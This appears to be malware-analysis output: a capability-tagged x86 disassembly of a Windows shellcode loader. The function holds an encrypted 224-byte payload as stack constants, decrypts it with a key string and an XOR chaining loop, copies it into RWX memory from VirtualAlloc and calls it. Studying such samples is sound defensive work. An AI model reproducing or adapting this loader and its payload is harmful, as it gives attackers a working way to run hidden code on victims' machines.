Function at 0x4014d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x228
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x224], eax
movups xmm0, xmmword [str.abcdwenabcdengwasdfghjngwaaaaaa.]
mov al, byte [0x40332c]
lea edx, [esp + 0x1e8]
push esi
movups xmmword [esp + 0x1ec], xmm0
push edi
movups xmm0, xmmword [0x40331c]
lea ecx, [esp + 0x10]
mov dword [esp + 0x110], 0xa8827084
mov dword [esp + 0x114], 0x73ceb0f5
mov dword [esp + 0x118], 0xcff634d7
mov dword [esp + 0x11c], 0xb29af6a5
mov dword [esp + 0x120], 0xddace05d
mov dword [esp + 0x124], 0xdfdca6cb
mov dword [esp + 0x128], 0x31941e8a
mov dword [esp + 0x12c], 0xf381734b
mov dword [esp + 0x130], 0x22af7fce
mov dword [esp + 0x134], 0x8e361a08
mov dword [esp + 0x138], 0xabfd0913
mov dword [esp + 0x13c], 0xded562b5
mov dword [esp + 0x140], 0xf50993a9
mov dword [esp + 0x144], 0x33d7de8d
mov dword [esp + 0x148], 0xb742ebf5
mov dword [esp + 0x14c], 0xc7b2d9a8
mov dword [esp + 0x150], 0xea025780
mov dword [esp + 0x154], 0x709c3ac0
mov dword [esp + 0x158], 0xfcfd9db4
mov dword [esp + 0x15c], 0xdc53cca2
mov dword [esp + 0x160], 0x360e9b48
mov dword [esp + 0x164], 0xc7bcf7d2
mov dword [esp + 0x168], 0x6c56cf00
mov dword [esp + 0x16c], 0xc53d6259
mov dword [esp + 0x170], 0xd93b1b4a
mov dword [esp + 0x174], 0x8e03df07
mov dword [esp + 0x178], 0x8f6960b3
mov dword [esp + 0x17c], 0x8f07b67a
mov dword [esp + 0x180], 0xf8e63c1e
mov dword [esp + 0x184], 0xeca07668
mov dword [esp + 0x188], 0xb287da35
mov dword [esp + 0x18c], 0x3e737349
mov dword [esp + 0x190], 0xbd104919
mov dword [esp + 0x194], 0x5e86fb73
mov dword [esp + 0x198], 0xf87955e6
mov dword [esp + 0x19c], 0x5309d97b
mov dword [esp + 0x1a0], 0x4e7ae630
mov dword [esp + 0x1a4], 0xf29190f9
mov dword [esp + 0x1a8], 0x592d1d63
mov dword [esp + 0x1ac], 0xaf563ba0
mov dword [esp + 0x1b0], 0x31f45f1a
mov dword [esp + 0x1b4], 0x3ced498e
mov dword [esp + 0x1b8], 0xd0ac5264
mov dword [esp + 0x1bc], 0xaf7dd36d
mov dword [esp + 0x1c0], 0x5610f77e
mov dword [esp + 0x1c4], 0xc3e7ae60
mov dword [esp + 0x1c8], 0x86b2fe47
mov dword [esp + 0x1cc], 0xf29d5dbc
mov dword [esp + 0x1d0], 0x7958ee57
mov dword [esp + 0x1d4], 0x10ebc5ee
mov dword [esp + 0x1d8], 0xfd94a370
mov dword [esp + 0x1dc], 0x18932e8a
mov dword [esp + 0x1e0], 0x25b488a5
mov dword [esp + 0x1e4], 0xf6cdeb07
mov dword [esp + 0x1e8], 0x5e99ddb9
mov dword [esp + 0x1ec], 0x879f449d
movups xmmword [esp + 0x200], xmm0
mov byte [esp + 0x210], al
call section..text
movups xmm0, xmmword [0x403330]
lea esi, [esp + 0x110]
mov dword [esp + 0xc], 0xe
lea edi, [esp + 0x100]
mov eax, esi
movups xmmword [esp + 0x100], xmm0
sub edi, eax
movups xmm0, xmmword [esi]
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.004013b0
mov ecx, 0x10
nop word [eax + eax]
mov al, byte [edi + esi]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x4017d0
sub edi, 0x10
sub dword [esp + 0xc], 1
movups xmmword [esp + 0x100], xmm0
jne 0x4017b7
push 0x40
push 0x1000
push 0xe0
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea esi, [esp + 0x110]
mov ecx, 0x38
rep movsd dword es:[edi], dword [esi]
call eax
push str.PAUSE
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, dword [esp + 0x230]
add esp, 4
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00401836
mov esp, ebp
pop ebp
ret